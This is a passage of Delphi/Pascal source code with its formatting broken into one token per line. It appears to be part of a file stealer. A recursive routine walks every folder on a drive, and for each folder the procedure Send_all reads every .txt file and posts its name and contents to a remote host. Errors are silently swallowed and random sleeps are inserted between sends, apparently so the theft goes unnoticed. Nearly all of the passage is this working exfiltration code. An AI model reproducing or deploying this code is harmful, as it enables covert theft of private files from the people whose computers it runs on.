procedure
Send_all(Way:
String
);
begin
try
If
FindFirst(Way+
'*.txt'
,faAnyFile-faDirectory,TS)=
0
then
repeat
If
TS
.
Name<>
'name.txt'
Then
begin
try
ZeroMemory(@szBuf, SizeOf(szBuf));
lstrcpy(szBuf,
PChar
(
'fname='
+TS
.
name+folder
.
name+
'&data='
));
lstrcat(szBuf, ((GetFileData(
PChar
(Way+TS
.
name)))));
SendPOSTData(Host,
Path,
szBuf);
except
end
;
end
;
until
FindNext(TS) <>
0
;
FindClose(TS);
except
end
;
end
;
function
Search():
string
;
var
p:
string
;
c:
char
;
function
FindFile(
var
path:
string
;
const
mask:
string
):
boolean
;
var
SRec:TSearchRec;
retval:
integer
;
oldlen:
integer
;
begin
Result:=
true
;
oldlen:=length(path);
retval:=FindFirst(path+mask,
$3F
,SRec);
while
retval=
0
do
begin
if
((SRec
.
Attr
and
$18
)=
0
)
then
begin
Send_all(path);
end
;
if
Wait>
0
then
sleep(random(wait*
1000
));
retval:=FindNext(SRec)
end
;
FindClose(SRec);
if
not
Result
then
exit;
retval:=FindFirst(path+
'*.*'
,
$10
,SRec);
while
retval=
0
do
begin
if
(SRec
.
Attr
and
$10
)<>
0
then
if
(SRec
.
Name<>
'.'
)
and
(SRec
.
Name<>
'..'
)
then
begin
path:=path+SRec
.
Name+'\';
if
(
not
FindFile(path,mask))
then
begin
Result:=
false
;
Break;
end
;
delete(path,oldlen+
1
,
255
)
end
;
retval:=FindNext(SRec);
end
;
FindClose(SRec);
end
;